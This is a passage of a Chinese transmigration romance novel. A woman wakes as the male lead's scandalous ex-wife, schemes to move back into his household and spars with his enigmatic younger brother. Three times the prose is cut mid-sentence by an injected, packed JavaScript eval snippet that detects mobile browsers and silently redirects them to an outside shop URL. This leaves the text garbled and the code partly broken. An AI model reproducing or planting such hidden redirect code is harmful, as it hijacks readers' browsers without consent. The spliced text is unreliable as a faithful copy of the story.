《如何正确吃掉前夫他弟GB》 1. 01 “阿婆,一碗玉米鲜肉云吞,小份,加辣加葱。” 戴纾语一手捂住咕咕直叫的肚子,一手捏着腰间皱巴巴、瘪得不能再瘪得荷包,忍疼要了一份热气腾腾的云吞。 小份2文钱,一共12个,够她吃个大饱。 卖云吞的方阿婆跟她颇有些熟悉,一面往碗里舀汤,顺口拉起了家常。 “纾语,起得这样早,要往哪里去?” 戴纾语将银钱丢进摊位上的罐子里,接过云吞在桌案旁坐下了。 “找我前夫讨要生活费。”她理直气壮地说。 “和离一年有余,你还要缠着人家,脸皮够厚的呢!”方阿婆笑得合不拢嘴。 戴纾语夹了一个皮薄肉嫩的云吞往嘴里送,细嚼慢咽后,才接过话茬:“阿婆,此事说来话长,我最近过得可凄惨了!吃了这碗云吞,兜里只剩下五文钱。” “你这般混日子行不通。”方阿婆长吁短叹的,随即给她出主意,“你去找个活计做,总不至于吃了上顿没下顿。” 这话倒是提醒了戴纾语,她端起碗喝完最后一口热汤,遂取出绢子抹干净嘴,应道:“我正寻思着找个活计干。阿婆,你可有什么门路?” “你会何种手艺?”方阿婆问道,说完似乎想起了什么,立马补充了一句,“可不兴说你那些不光彩的手段。” “阿婆,瞧你这话说得!”戴纾语没忍住笑出声来,“我早已决定洗心革面,重新做人。” “如此便好。” 思忖片刻,戴纾语照实说道:“我略懂医理,药铺会收我做学徒吗?” 她本是个大二年级护理专业在读学生,去药铺做个学徒应是绰绰有余。 “怎么不收?”方阿婆擦拭干净洗过的汤碗,逐一码在桌案上,抬起头来看她。 “如今世道不安稳,常有异类出没,正是医者稀缺的时候。但凡能吃苦,做个学徒不在话下。” 戴纾语觉得她说的颇为在理,心下琢磨着先到前夫府上探个虚实,再去找工作养家糊口。 “阿婆,我走了!”说罢,她挪开凳子起身,往巷子尽头去。 刚走出去几步,身后传来一道不怀好意的声音:“哟!这不是戴姑娘吗!听说你从良了?” 戴纾语脚步一顿,并未回头,攥紧拳头继续往前走。 岂料,身后那人不依不饶起来,快步流星绕到戴纾语跟前,拦住了她的去路。 “戴姑娘,都是老熟人,莫要装作不认识!” 戴纾语冷眼看他,“找我有什么事?” 那人长得牛高马大,足足比戴纾语高出两个头,落在她身上的目光无端让人生厌。 “找你叙叙旧。” “抱歉,没空。”一个成日里只会惹是生非的地痞,戴纾语无意在这种人身上浪费时间,遂错开身形就欲离开。 听了这话,那人脸上神色不大好看,语气不善道:“戴姑娘,京城里谁人不知你是个怎样的人?竟是在我阿彪跟前摆起谱来了!” 说着,就要伸出手去拽戴纾语的手腕。指尖刚碰到一截轻盈的衣袖,阿彪只觉天旋地转,忽闻“砰”的一声沉闷声响,魁梧的身形应声倒地。 戴纾语眼疾手快,一只脚踩住阿彪的手腕,转身从桌上抽出一双筷子,径直插进他指缝。 “睁大你的狗眼看清楚了,本姑娘可不是吃素的。下回见了,记得绕道走!” “你是什么货色,谁人不知,谁人不晓?”阿彪尚在嘴硬,“敢惹你彪爷,你给我等着!” 戴纾语脚下用力,踩得对方手腕骨咯咯作响。 阿彪疼得龇牙咧嘴,只觉骨头都要碎掉了。 好汉不吃眼前亏,他并非好汉,却也懂得求饶。 街边的摊贩纷纷探出头来,然,无人敢靠近。 这阿彪惯会使些不入流的术法,素日里在城中横着走,好寻事生非,街坊四邻都被他欺压过不知多少回,总也躲着走。 担心戴纾语惹上麻烦,方阿婆拖着一条瘸腿,挪到她身旁,“纾语,放他走吧!都是邻里的人,莫要闹得太僵。你不是有要紧事要办?赶紧去吧!夜里早些回来。” “知道了。”戴纾语抬脚,阿彪一骨碌爬起身,恶狠狠地瞪了她一眼,骂骂咧咧走远了。 方阿婆压低声音,叮嘱道:“你当心些,这人不是善茬。” “谢谢阿婆!”戴纾语朝她挥了挥手,遂快步往巷子尽头去。 她居住的院子距离蔺府步行大约需要半个时辰。戴纾语吃饱了早饭,又练了筋骨,走起路来健步如飞。 身穿就是这点好,现实世界里十年跆拳道没有白练。 因一篇爆火的网络小说,戴纾语在论坛上跟人互怼,对方称肉文除了肉多,满足读者的猎奇心理,毫无可取之处。 简直放.屁! 戴纾语阅文无数,看过的肉文多到数不清,肉多文香剧情在线的网文不在少数。 两人因此吵得不可开交,最后约定先看文,看完这本大热的限制级男频后宫文,再作定夺。 未曾料到,她刚打开某阅读软件,只来得及看了个简介,便眼前一黑,不省人事。 再一睁眼,戴纾语四仰八叉地躺在一座前不着村后不着店的庭院里,后脑勺磕在院子里的碎石上,肿起好大一个包。 她揉了揉疑似摔开花了的屁股,摸索着从地上爬起来。 周遭静悄悄的、弥漫着萧瑟的气息,放眼望去,连个会喘气的活物都没有。 正当她茫然之际,一阵滋滋的电流声在脑海里响起。 系统三言两语交代清楚身份背景,以及穿书任务——采补原书男主蔺清辉。顺道恭喜她成为第10086位穿书者,随即利索下线。 环顾一下四处漏风的小破屋,戴纾语陷入了沉思。 她的身份——原书男主的前妻。 原书设定中,男主的前妻是个风姿绰约、水性杨花的女人,更是为这本限制级小说贡献了很大一部分香艳场面,包括但不限于与各路有头有脸的能人异士卿卿我我、共享云雨之欢。 不知给原书男主戴了多少顶绿油油的瓜皮帽。 正思忖间,一道颀长挺拔的身影出现在巷子尽头。 “姑娘好身手。” “出门没看黄历。”戴纾语暗骂一句,遂冷着脸抬眼,“你有什么事吗?” 来人生得清水芙蓉,一双桃花眼水润朦胧,实在不像阿彪之流。 “姑娘可知在榴花巷在何处?” 只问路,并未多作纠缠。 戴纾语敛去怒意,朝身后一指,“正是这条巷子。” 那人折扇轻摇,朝她一揖,算是道谢。 戴纾语略微颔首,绕开眼前之人,径直出了巷子。 略走几步,她忽地想起了什么,下意识回首朝巷口的方向看去,却见对方并未往榴花巷里去,反而转身上了街边的一辆马车。 今日不宜出门。 戴纾语蹙眉,遂加快步伐往蔺府所在的方向去。 来到蔺府大门前,她客客气气地跟门房打招呼,请他跟家主通报一声。 门房景芪自是认得她的,并未多问,遂将人请进府内,转身通传去了。 戴纾语也没闲着,兀自在前院里来回转悠。 蔺府面积颇大,庭院里种满了奇花异草,应季的花卉开得正艳。 初夏时节,骤雨增多,院子里蚊虫亦不少。 戴纾语抬袖驱赶蚊子、苍蝇,一面眼睛滴溜溜转着打探路线。 “戴姑娘,家主请你往书房去。” “有劳了。”戴纾语笑吟吟地跟在他身后,临到书房门口,她停下来整理了一番仪容,确保自己看上去如往常一般明艳动人,这才抬脚迈进书房。 “夫君,好久不见!”刚看见书案旁端坐着的人影,戴纾语便夹着嗓子轻唤一声。 为了套近乎,她竟是没脸没皮地唤人家“夫君”。 蔺清辉略微皱眉,将手里的笔搁在书案上,抬眼朝她看来,“戴姑娘,此番找我所为何事?” 正值他今日休沐,戴纾语打探清楚了才决定登门拜访,以免扑了个空。 听他主动开口询问自己,戴纾语心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897356|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗喜,对方并无不顾她死活的意思。 她往前走了两步,距离蔺清辉更近了。 “夫君,我们复合吧!”她柔声道。 蔺清辉眉头皱得更深,语气冷冽,“你我和离一年有余,戴姑娘请自重。” 戴纾语径直来到书案旁坐下,脸不红心不跳,“翩翩君子,淑女好逑。如今我未婚,你未娶,天时地利人和,一个不差,可谓是天赐良缘。何不顺应天意,重修旧好?” 话音刚落,屏风后蓦地传来一声轻笑。 戴纾语循声望去,屏风后人影绰绰,看不真切形容,从笑声可以判断出是一位年轻男子。 “夫君,你这里有客人在?”她紧盯着屏风后的人影,刻意做出不自在的姿态,脸颊随之泛起点点绯色。 “算不得客人。”蔺星斓自屏风后缓缓起身。 穿进书里第二日,他只来得及弄清楚自己的身份背景——原书男主他弟,蔺府二公子,游手好闲的纨绔,草包一个。 以及,原书男主有一水性杨花的前妻,生得明艳动人,却性子放荡,遂把主意打到了她身上。 望着屏风后含羞带怯的年轻女子,蔺星斓差点当场笑出声来。 当真是瞌睡了就有人送枕头。 他正愁如何接近对方,熟料这位前嫂嫂主动送上门来求复合。 不过,早前的小插曲,以及她与蔺清辉的只言片语间,对方的言行实在叫他心生好奇。 蔺星斓强忍笑意,缓步来到书案旁,目光丝毫不知避讳地打量着这位前嫂嫂。 “嫂嫂,我们又见面了。” “星斓,你——”蔺清辉黑沉着一张脸,欲言又止。 四目相对,戴纾语蓦地起身,又险些跌回椅子上。 眼前之人,正是早些时候在榴花巷碰见的那位古怪的问路人。 脑子里飞速运转着,从她看的小说简介来看,并未提到原书男主有这样一位难以捉摸的弟弟。 “贵人多忘事。方才见过一面,嫂嫂可是不记得我了?” 唯恐让对方瞧出端倪,戴纾语强作镇定,只得干笑两声,应付道:“哪里的话!许久未见,星斓生得愈发水灵了,我一时间竟不敢相认。” 蔺星斓自顾自在她对面的椅子上坐下,屈起指节轻轻敲击桌沿。 “嫂嫂,莫要灰心,兄长脸皮薄,你突然找上门来求复合,叫他乱了方寸。待我好生劝解劝解,重修旧好一事,并非不可能。” 突然冒出来的便宜小叔子主动提出要帮她。 戴纾语心中疑惑顿生,之前在榴花巷并非偶遇,此人必有不可告人的目的,她难免多留了个心眼。 她正暗自思量着,蔺清辉说话了:“星斓,莫要跟着胡闹,戴姑娘与我早已和离,更无复合的可能。你先下去罢。” “夫君,你不能如此狠心!” 戴纾语急了,立马走到蔺清辉跟前,伸出手去攥住他袖口。 “如今我只身在外讨生活,吃了上顿没下顿。住的屋子夜里还漏风,下雨天更是凄惨无比,外面下大雨,里面下小雨。半夜蜷缩在被子里瑟瑟发抖,连个暖被窝的人都没有。你就行行好,跟我和好吧!” 她顿了顿,终于道出了此行的目的:“夫君,我想搬回蔺府住上一段时日。” 说罢,她用力掐了一把大腿,疼得挤出几滴眼泪来。 “行了。”蔺清辉骤然起身,袍袖一挥,甩开戴纾语的手,作势往书房外去,“此事不必再提,戴姑娘请回吧!” “兄长。”蔺星斓快步追上去,试图说服蔺清辉将人留下,却被对方略带严厉的眼神止住了话头。 戴纾语僵立在原地,定定地望着蔺清辉逐渐走远的背影出神。 蔺星斓讨了个没趣,回过头来望向戴纾语,好心宽慰道:“嫂嫂无需忧心,我素来热衷于促成旁人的美好姻缘,何况是自家兄长与亲嫂嫂的终身大事。” 闻言,戴纾语渐渐收拢心神,抬眸端量着眼前这位前夫他弟,心底的疑虑愈演愈烈。 “有劳星斓费心了。”她莞尔而笑,口是心非地说。 2. 02 第一次主动出击以失败告终,戴纾语并未气馁。毕竟,她拿的并非爽文女主剧本。 次日,戴纾语打起十二分精神来,对着梳妆镜认真装扮一番。 首饰妆容一样不落,她将自己打扮得人模人样,遂换了身鹅黄色的薄纱裙,神采奕奕地出门了。 她一面往外走,不忘在心里琢磨接下来的任务计划。 一只脚刚踏出院门,余光瞥见院子外的拐角处一个人影一晃而过,看体型与身手,并非妖魔鬼怪,无疑是与她有过节的地痞阿彪。 戴纾语直觉不妙。 方阿婆说得不假,阿彪不是善类,上回在她手里吃了大亏,手腕上的伤没个十天半月好不了,眼下在她家院子门口踩点,定会伺机报复。 她不得不多留了个心眼。 到了蔺府大门前,门房景芪一改往日和善的态度,坚决不放她进门。 “戴姑娘,你莫要为难我们做下人的。家主吩咐了,没有他的允许,不可放戴姑娘进府。” 听了这话,戴纾语双手叉腰,险些气笑了。 原书男主当真防她跟防贼一样。 思来想去,她只得厚着脸皮耍无赖,提高音量道:“景芪,你去告诉蔺清辉,他若是不放我进门,我便上大街上哭闹,说他始乱终弃,抛妻弃子,不让我进家门。” 景芪张了张口,欲言又止。 见他稍有松动的迹象,戴纾语又添了一把火,“我本就声名狼藉,闲言碎语于我而言,并无丝毫影响,多一句少一句罢了!若是让你们家主丢了颜面——” 听了这番话,景芪面色煞白,生怕她当真大喊大叫,引来闲人围观,只得让她稍候片刻,连忙进门去向蔺清辉通传。 戴纾语老实在门口等着,兀自将昨夜提前准备好的台词默念一遍,随即探头朝府内望去,恰好瞧见景芪小跑着往外走来。 “他怎么说?”戴纾语迫不及待地问道。 景芪面有难色,支支吾吾道:“家主询问戴姑娘登门拜访所为何事?可以吩咐属下代为通传。” “我要见蔺清辉。”戴纾语咬咬牙,酝酿好情绪,当即哭出声来,“蔺清辉,你个没良心的,说把我扫地出门便扫地出门了,你的良心被狗吃了吗?你这样始乱终弃——” 蔺府大门吱嘎一声响,一道修长挺拔的身影从门后缓缓走来,却不是原书男主蔺清辉,而是他弟——蔺星斓。 “嫂嫂,来找兄长?” 阴魂不散!!! 戴纾语不禁腹诽,嘴上却说:“是。清辉他不愿见我,我走投无路,才会屡次三番找上门来求他。” 蔺星斓好整以暇,一侧肩膀倚着门樘,探究的视线落在戴纾语脸上,“嫂嫂,可要我帮忙说几句好话?” “可以吗?”戴纾语抬袖抹了把硬挤出来的几滴眼泪,眼神里满是希冀,“倘若能说服清辉跟我复合,我将感激不尽。” 蔺星斓轻笑一声,无端对这位前嫂嫂生出些许兴致来。 “嫂嫂,稍候片刻,我这就去说服兄长。”说罢,转身悠哉悠哉往里走去。 戴纾语定了定神,只觉这位便宜小叔子言行古怪,一时间竟摸不透对方有何目的。 正思忖间,蔺清辉的身影出现在门口,他一身月白衣衫,将整个人衬托的愈发清冷出尘。 “夫君!”戴纾语喜上眉梢,欣喜地朝他挥了挥手绢,“我就知道,你不会狠下心来置我于不顾。” 蔺清辉神色疏离,“戴姑娘,你究竟有何要事,非要见我?” 戴纾语收起笑容,声音也哽咽了,“夫君,我身上只剩下五文钱,想要搬回府上住。” 蔺清辉不接茬,望向身后的景芪,道:“去书房将我的钱袋取来,连同柜子里的银票,一并交给戴姑娘。” 闻得此言,戴纾语顿时就急了,指尖不自觉搭上对方手腕,再次强调自己的需求,“夫君,我不需要钱,我只想搬回府上住。” 蔺清辉皱眉,后退两步与她拉开一段距离,示意景芪赶紧去取钱。 景芪转身跑得飞快,眨眼间便不见了踪影。 戴纾语吃瘪,心中的不悦将要溢出来。余光瞥见一只肥硕的蚊子叮在蔺清辉白皙的脸颊上,她并未多想,抬手就朝他脸上拍去。 “啪!” 声音清脆悦耳,躲在大门后窥视的蔺星斓不由身形一抖,心下大惊。 这位前嫂嫂当真是个狼人。 卖惨、勾引不成,竟然恼羞成怒直接上手打人了! 可见往后做任务,需谨慎为妙,霸王硬上弓不可行,得靠智取。 戴纾语朝蔺清辉扬了扬手心,正欲开口解释:“清辉,你别误会,我——” 蔺星斓只当她没有解气,伺机再打一巴掌,遂立马从门后走出来,快步来到两人中间。 “嫂嫂息怒!有话好好说,千万不要动手。” 话音刚落,脸颊上蓦地感受到一股不轻的力道。戴纾语二话没说,一巴掌径直拍在蔺星斓脸上,不偏不倚,恰好与蔺清辉脸上的巴掌印打在同一个位置。 蔺星斓摸了摸发热发烫发疼的脸颊,只觉匪夷所思,他竟是被原书男主的前妻打了一巴掌! “戴姑娘,你这是作甚?”蔺清辉将蔺星斓拉到身前,兀自为他检查脸上的巴掌印,那神情可不大愉快。 戴纾语绕过蔺星斓,来到蔺清辉跟前,随即摊开掌心,在对方眼前晃了晃。 “夫君,蚊子。” 蔺家兄弟的视线双双落在戴纾语的手心,两只死得不能再死的蚊子尸体黏糊糊地紧挨在一起,血糊淋剌的,早已分不清脑袋和腿儿分别是谁的。 任务八字还没有一撇,平白挨了一巴掌,蔺星斓心中五味杂陈。 “星斓,对不起。”戴纾语做足娇羞姿态,逐一向两人道歉。 “天气炎热,蚊虫格外多,这院子里花草树木茂盛,更是给蚊虫提供了足够的栖身之处。哪像我——” 说着,她移开视线,偷偷抹了把眼泪,接着道:“昨儿个在我那漏风的屋子里被蚊子咬了几个包,奇痒难耐。所以,看见蚊子吸你们的血,我没忍住,下手重了些。” “哈哈,嫂嫂不必介怀。”蔺星斓干笑两声,心道我还得感谢您呢! 不容二人回应,戴纾语自顾自从怀里摸出一枚新买的香囊,忸忸怩怩地递到蔺清辉面前。 “夫君,这是我熬夜亲手缝制的香囊,里面放了驱逐蚊虫的灵草,你收下吧!算是我的一片心意。” 蔺清辉背过身去,拒绝的意味再明显不过。 “戴姑娘,请回吧!”说罢,径直往府内走去,看也没看一眼她手里的香囊。 戴纾语咬紧牙关,心想这位原书男主当真是块难啃的硬骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897357|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 软磨硬泡皆不管用,看来她得憋个大招了。 正寻思着,手中骤然一空,绣着鸳鸯戏水的香囊不翼而飞,戴纾语愣了一瞬,忽闻一道声音贴着耳畔传来:“多谢嫂嫂疼爱。” “你——” “嫂嫂,上回我可是信守承诺,在兄长跟前为你说了许多好话。这香囊——就当作谢礼可好?” 戴纾语暗自深呼吸一口气,勉力让自己冷静下来,强忍住怒气以免在这位便宜小叔子面前发飙。 “星斓,这香囊上面绣着鸳鸯戏水,寓意特别,不能随便送人。” 蔺星斓兀自将香囊挂在腰间,不吝夸赞:“嫂嫂好手艺,这香囊式样别致,灵草香味清新宜人,正适合我这种闻不得甜腻味道的人。” 说着,他蓦地朝戴纾语靠近两步,压低声音说:“嫂嫂真是好贴心,知晓夏季蚊虫泛滥,我恰好需要一枚香囊驱虫。我便不多作推迟,笑纳了。” 戴纾语一时无语,伸出手去想要夺回香囊。她本就囊中羞涩,可谓是斥巨资买来一枚香囊当做由头接近原书男主,却便宜了眼前这位便宜小叔子。 这人究竟从哪里冒出来的? 简直阴魂不散。 莫非他也拿了又争又抢剧本? 戴纾语满腹闹骚,指尖刚碰到香囊的系带,岂料用力过猛,径直扯掉了蔺星斓本就系得松松垮垮的腰带,外袍随之散开,露出里头雪白轻薄的中衣。 戴纾语自知失礼了,连忙道歉:“抱歉,我不是故意的。”说着,忙要替他将衣带系上。 慌乱中,脚尖踢到蔺星斓修长的小腿,戴纾语脚下踉跄几步,整个人径直朝他扑去。 脸颊结结实实地撞上蔺星斓剧烈起伏的胸膛,紧实饱满的胸肌热腾腾、硬邦邦的,触感极佳。 意识到发生了什么,戴纾语耳根一热,脸颊腾地红了。 两只手撑住对方胸膛,她好容易才站稳身形。 “对不起,我——我没站稳。”她还想解释几句,又担心越描越黑。 蔺星斓面色如常,慢条斯理地整理好被她揉皱了的中衣,随即将外袍的衣带系上。 “嫂嫂,没想到你喜欢这样。” 对方明显是不怀好意,戴纾语听出来了。 “我不是,我没有,你不要胡说!”她徒劳地解释说,“我当真是没站稳。再说,我心仪你兄长,你是知情的,又怎会对你有非分之想!” 蔺星斓脸上带着玩味的笑意,愈发觉得这位前嫂嫂有点意思。 “嫂嫂,你不说,我不说,兄长怎会知道方才发生了什么?” 对方话里有话,戴纾语立即警觉起来,“你想怎样?” 蔺星斓将新得的香囊解下来握在手里,举到戴纾语眼前晃了晃,“这香囊送我,不许要回去。不然,我可不敢保证会不会在兄长跟前说漏嘴,提及嫂嫂亲了我胸口的事——” “你闭嘴!”戴纾语一跺脚,气得直想抽他两巴掌,将他打成哑巴。 然而,想归想,却不敢下狠手,她还抱有希望靠卖惨搬回蔺府呢! 不就是区区一枚香囊,让他留下又何妨。 戴纾语拍死一只叮在她胳膊上卖力吸血的蚊子,皮笑肉不笑,从牙齿缝里挤出一句话来:“成交!把嘴给我管好了。” 总有一日,让你连本带利给我吐出来。 3. 03 夜阑人静,戴纾语心里装着事,睡得并不安稳。 恍恍惚惚听见一阵窸窸窣窣的脚步声,她蓦地睁开双眼,窗外火光影影绰绰,透过漏风的窗缝铺洒进屋。 隐约可闻几声刻意压低的说话声—— “大哥,直接放火烧死她吗?” “不然呢?你小子怂了?” “不是。大哥,这姓戴的貌美惊人,烧死可惜了,不如——” “……” 戴纾语将枕头放进被褥里,随即轻手轻脚下了榻,摸黑从后门溜了出去。 夜凉如水,匆忙中她忘记披外衫,躲在破旧的木门后面禁不住打了个寒噤。 确认前来偷袭的众人悉数进了屋子,戴纾语这才从后门绕到前院。她正欲从院门溜出去,先保命,再想法子收拾这群无法无天的地痞。 一只脚刚踏出院门,迎面撞上了一个黑影,那人单手系着裤腰,手里举着火把,脚步匆匆地往院子里走。 是阿彪的同伙。 戴纾语曾与此人打过照面。 看架势,应是擅自出恭去了,才会与地痞团伙分开,以致落了单。 “你——” 话未说全,戴纾语一掌劈在他后颈,径直将人劈晕了过去。 望着散落在地上的火把,戴纾语稍一迟疑,遂改变了主意。 屋子里的人定是发现被褥里躺着的并非戴纾语,而是一个洗得泛白的旧枕头。 “大哥,人跑了!” “跑了?什么时候跑的?” “不知道啊!榻上没人。” “给我搜,应当没跑远。抓到了咱们兄弟——” 老破小里面人声嘈杂,脚步声逐渐变得急促而杂乱,屋内的杂物稀里哗啦摔了满地。 戴纾语放轻脚步绕到后门,径直将手里的火把丢进了一捆干枯的木柴里。 老破小四周堆满了枯树枝,应是原作中前妻请人搜罗来作柴火用的。 未曾料到,关键时刻救了戴纾语一命,更是为她绝了后患。 时值夏季,枯树枝极为易燃。戴纾语拍了拍身上的尘土,顺手脱掉了一只鞋丢进燃得正旺的柴火里,转身出了院子。 她一路小跑着往那条支早点摊子的小巷子走去。 天光渐亮,身后的庭院里火势渐大。戴纾语头也不回,脚下越来越快。 卖早点的商贩们相继出现在街道两旁。 戴纾语垂眸看了眼沾了满手的黑灰,不知是想到了什么,立马抬手胡乱地在脸颊上抹了两把。 “方阿婆!”她蓦地提高音量,神色慌乱地拍打着方阿婆居住的小屋的木门。 时辰尚早,四周相对白昼里较为宁静,她这一嗓子喊出来,商贩们纷纷抬眼朝她看来。 方阿婆刚梳洗完,正在往身上套衣裳,突然有人大力叩门,把她吓得不轻。 “纾语,发生了何事?”推开门见到戴纾语这般模样,方阿婆震惊之余,更多的是担忧。 戴纾语扑进她怀里,呜呜咽咽哭出声来,“阿彪——阿彪带人放火烧了我的屋子。” 方阿婆连忙将她带进屋里,倒来一杯热水递给戴纾语,“纾语,你有没有伤着哪里?” “没有。”戴纾语接过热水喝了一大口,跑了一路,又受了惊吓,她确实渴了,“只是吓着了。我正在睡觉,突然被门外的声音惊醒,就留了个心眼。谁知,他们竟是想要——” 方阿婆取来一件干净的衣裳为她披上,拉着她的手安慰了好一阵。 “接下来有什么打算?”方阿婆眼神里满是担忧,“报官吗?” “报官。”戴纾语将喝光了的杯子搁在桌案上,“不过,我先去求我前夫帮忙。不然,我只身一人,又是那样的名声,无人信我。” 斟酌片刻,方阿婆觉得她说的颇有道理,“我送你去吧。” “不必麻烦了。”戴纾语摇头,“阿婆,不耽误你了。我自己去就行,这会儿天亮了,街上人多了起来,没人会为难我。” 说罢,她拢了拢披在身上的外衫,起身出了门,匆匆往蔺府的方向赶去。 “嫂嫂?”蔺星斓一脸错愕,简直不敢相信自己的眼睛,“你怎么把自己弄成这副样子?” 当真阴魂不散。 戴纾语不禁腹诽。 按捺住吐槽的冲动,戴纾语装模作样地抹了把眼泪,让自己看起来更加狼狈。 “星斓,有歹人放火烧了我的房子,我好容易才逃出来。有劳你派人帮我通报一声,我有要紧事求助于你兄长。” “好说。”蔺星斓眉梢微挑,难得没有为难她,遂回头吩咐门房景芪去禀报蔺清辉。 不过片刻功夫,蔺清辉领着景芪往大门口走来。 “戴姑娘,发生了何事?”蔺清辉皱着眉看她,并无要放她进门的意思。 两人成婚两年,蔺清辉最是了解自己这位前妻的德行,昔日做夫妻的时候,她便不安于现状,乐于折腾。 和离后生活过得不如意,倒是硬气,从未登门拜访,抑或给他找不痛快。 近日却屡次三番找上门来,要求回到府上居住一段时日。 蔺清辉深知她是个烫手的山芋,近日来更是言行诡异,目的不纯,倘若让她回到府上,不知会生出多少事端。 他并不信戴纾语所说的遭遇,只当作对方演苦情戏。 戴纾语抬手抹了把眼泪,一张脸被黑灰糊得如同花猫一般,整个人看上去狼狈而可怜,不仔细看压根看不出本来的面貌。 “夫君,前几日一个地痞欺负我,被我骂了几句,谁知他记恨在心,夜里竟带着一大帮人上门试图放火烧死我,还想要——想要欺负我。” 话音刚落,她便哭哭啼啼哭个不停,将心里的委屈与惊惧表露得淋漓尽致。 “我现在——房子被烧了,身无分文,家族也不认我,无处可去,只能求助于你了。” 蔺清辉眉头皱得更深,思忖半晌,遂吩咐景芪到附近的客栈为她要一间上等的房间,稍后再置一处新宅子供她居住。 戴纾语一听就不乐意了,哽咽着说:“夫君,我只身住在客栈,万一那伙儿人找上门来,我伤了死了倒也无妨,岂不是连累了人家客栈?” 蔺星斓的视线飞快从她脸上扫过,最后落在她只穿着袜套的右脚上,斟酌的字句,说:“兄长,戴姑娘这幅样子,不便住客栈,何不让她在府上先行梳洗一番,歇息一日,再作打算。” “星斓,”蔺清辉回头睨了他一眼,态度坚决,“莫要跟着胡闹。” “兄长,我并非胡闹。”蔺星斓指了指戴纾语光着的一只脚,“戴姑娘受了惊吓,这副样子入住客栈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897358|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又是从蔺府的方向过去,岂不让人说闲话?” “再者,”蔺星斓脑子转得飞快,搜肠刮肚意欲说服蔺清辉留下她,“戴姑娘只身一人,孤苦流离,不过是给她一处栖身之地。她与兄长好歹夫妻一场,何必不留情面,把事做绝?” 闻得此言,戴纾语偷偷瞄了眼蔺清辉,见他面色稍缓,似有松动的迹象,不由心中大喜。 这位便宜小叔子虽说不知有何种目的,但道德绑架他倒是运用得炉火纯青,只言片语便将她那位硬骨头前夫拿捏得死死的。 “对呀!夫君,”戴纾语赶紧顺杆往上爬,“若是为我另置一处宅子,并不安全。倘若仇人三天两头上门寻仇,我还能有好日子过吗?街坊邻居也会因为我的缘故不堪其扰。那我岂不是成了罪人了?” 两人你一言我一语,跟唱双簧似的,吵得蔺清辉眉心直突突,脑袋嗡嗡作响,“行了。”他摆了摆手,示意戴纾语不必再说,遂吩咐景芪交代府上的嬷嬷为戴纾语准备住处。 景芪领命,迈开两条大长腿就往府内跑,眨眼间不见了踪影。 蔺清辉瞥了眼戴纾语,神色冷淡,“留你住下可以,但莫要失了分寸,没有我的准许,不可擅入我的院子。” “谢谢夫君!”戴纾语破涕为笑,连忙点头应下了。 望着蔺清辉逐渐走远的背影,戴纾语陷入了沉思,觉得眼前的一切恍若一场梦,她竟然成功混进了蔺府! 距离完成任务又近了一步。 正当她暗喜之际,耳畔忽地传来一道阴恻恻的声音:“嫂嫂,你费尽心机想要回到蔺府,有什么目的?” “我能有什么目的?”戴纾语下意识后退两步,与他拉开一段距离,硬邦邦地说:“我要跟清辉复合,就这一个目的。” “兄长可能会信。”蔺清辉不以为然,“我可不信。” 对方语气如此笃定,戴纾语立即警惕起来,提高音量道:“难不成你以为我对你有意思?目的不是清辉,而是你?” 说罢,戴纾语脸上流露出鄙夷的神色,“一个游手好闲的纨绔,谁家好女子会看上你?” 这几日她并未闲着,暗地里将这位便宜小叔子的种种劣迹摸了个大概,打从心底里瞧不上对方。 闻言,蔺星斓嗤笑一声,“嫂嫂,你是好人家的女子?” 戴纾语一时语塞,眼前之人这张嘴,总有一日,她会用臭袜子给他堵上,让他叫天天不应,叫地地不灵。 “我已经从良了!”她咬牙切齿地反驳了一句。 “从良了?”蔺星斓像是听见了一个天大的笑话,略微倾身朝她靠近,“嫂嫂,你若是当真对兄长旧情难忘,我可以助你一臂之力。” 那种感觉又来了,此人心怀叵测,必是有不可告人的目的。 戴纾语下意识蹙眉,身形微微后仰,遂伸出一根手指抵住对方胸膛,“星斓,你我身份特殊,请自重。” 蔺星斓面色微红,抬手拍开她抵在自己胸口的手指,不露声色地往回找补:“嫂嫂,光天化日,朗朗乾坤,你在蔺府门口与自己的小叔子动手动脚,叫外人瞧见了,跳进黄河也洗不清啊!” 戴纾语不接茬,猛地一用力将他推了个趔趄,率先迈进了蔺府大门。 蔺星斓只身站在夏日的晨风里,望着她逐渐远去的身影,若有所思。 4. 04 成功迈出了做任务的第一步,又顺带解决了一个不小的麻烦,戴纾语稍微放下心来,总算睡了个安稳觉。 翌日,她早早地醒了。简单梳洗一番,遂出门找活计做,以养家糊口。 虽说一人吃饱,全家不饿。但吃人嘴软,总不能事事依靠原书男主救济。 临到蔺府大门口,遥遥望见蔺清辉领着数名下属往外走。当然,其中不乏那位阴魂不散的便宜小叔子。 